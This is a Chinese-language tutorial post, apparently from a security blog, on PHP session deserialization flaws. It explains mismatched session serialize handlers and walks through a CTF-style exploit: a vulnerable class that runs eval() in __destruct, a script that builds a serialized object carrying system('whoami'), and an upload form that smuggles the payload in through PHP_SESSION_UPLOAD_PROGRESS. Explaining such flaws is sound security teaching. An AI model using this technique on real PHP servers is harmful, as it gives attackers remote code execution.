返回
Featured image of post PHP 反序列化-3

PHP 反序列化-3

go!

PHP反序列化-3

PHP中的Session

Directive 含义
session.save_handler session保存形式。默认为files
session.save_path session保存路径。
session.serialize_handler session序列化存储所用处理器。默认为php
session.upload_progress.cleanup 一旦读取了所有POST数据,立即清除进度信息。默认开启
session.upload_progress.enabled 将上传文件的进度信息存在session中。默认开启。

在上述的配置中,session.serialize_handler是用来设置session的序列化引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不同。具体如下:

处理器名称 存储格式
php 键名 + 竖线 + 经过serialize()函数序列化处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值
php_serialize 经过serialize()函数序列化处理的数组

示例:

<?php
ini_set('session.serialize_handler', '引擎名');
session_start();
$_SESSION['name'] = 'haha';
?>

php引擎:

php_binary:

php_serialize:

Session反序列化漏洞原理

如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确反序列化。通过精心构造数据包,就可以绕过程序的验证或者是执行一些敏感操作。

例如-在session中放入如下数据:

$_SESSION['name'] = '|O:8:"stdClass":0:{}';

而存储session数据用的处理器为php_serialize,内容如下:

a:1:{s:4:"name";s:20:"|O:8:"stdClass":0:{}";}

那么当读取数据时采用的是php引擎的话,反序列化时,根据php引擎对session数据的解释,会将|以前看作键名,而将这之后的O:8:"stdClass":0:{}看作键值,反序列后就会得到stdClass类对象。

分两种情况进行利用:

  • session.auto_start=On

当配置选项 session.auto_start=On,会自动注册 Session 会话(相当于执行了session_start()),因为该过程是发生在脚本代码执行前,所以在脚本中设定的包括序列化处理器在内的 session 相关配选项的设置是不起作用的。因此一些需要在脚本中设置序列化处理器配置的程序会在 session.auto_start=On 时,销毁自动生成的 Session 会话。然后设置需要的序列化处理器,再调用 session_start() 函数注册会话,这时如果脚本中设置的序列化处理器与 php.ini 中设置的不同,就会出现安全问题。

if(ini_get('session.auto_start')) 
  session_destroy();

ini_set('session.serialize_handler', 'php_serialize');
session_start();

if(isset($_GET['test']))
  $_SESSION['test'] = $_GET['test'];
  • session.auto_start=Off

两个脚本注册 Session 会话时使用的序列化处理器不同,就会出现安全问题。

示例

index.php:

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

传入phpinfo,看一看配置:

可看到Session序列化和反序列化的处理引擎不同

而想要进行利用就得往session中放入数据,可利用session.upload_progress,可观察到session.upload_progress.cleanup配置为Off:

当一个上传在处理中,同时 post 一个与 ini 设置的 session.upload_progress.name 同名变量时,php 检测到这种 post 请求时就会在 $SESSION 中添加一组数据,索引是 session.upload_progress.prefixsession.upload_progress.name 连接在一起的值,所以可通过 session.upload_progress 来设置 session。

因此,利用如下:

  • 构造exp
<?php 
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }

    function __destruct()
    {
        eval($this->mdzz);
    }
}
$a = new OowoO();
$a->mdzz = "system('whoami');";
echo serialize($a);
?>
  • 构造上传表单
<form action="index.php" method="POST" enctype="multipart/form-data">       
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />        
    <input type="file" name="file" />        
    <input type="submit" />
</form>
  • 拦截上传请求,修改PHP_SESSION_UPLOAD_PROGRESS的值为exp:

Licensed under CC BY-NC-SA 4.0
Built with Hugo
Theme Stack designed by Jimmy